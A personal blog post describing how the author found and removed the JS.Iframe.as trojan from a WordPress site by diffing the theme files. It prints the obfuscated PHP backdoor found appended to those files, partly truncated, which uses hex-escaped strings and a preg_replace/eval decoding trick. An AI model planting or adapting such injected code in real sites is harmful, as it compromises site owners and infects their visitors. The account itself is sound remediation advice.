Tag Archives: grep

A Tojan of the name JS.Iframe.as going to osa.pl

This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-levelĀ  “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65”;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166”;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160”;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145”;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72”;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65”;$eva1tYldakBoVS1r = “\x65\143\x72\160”;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.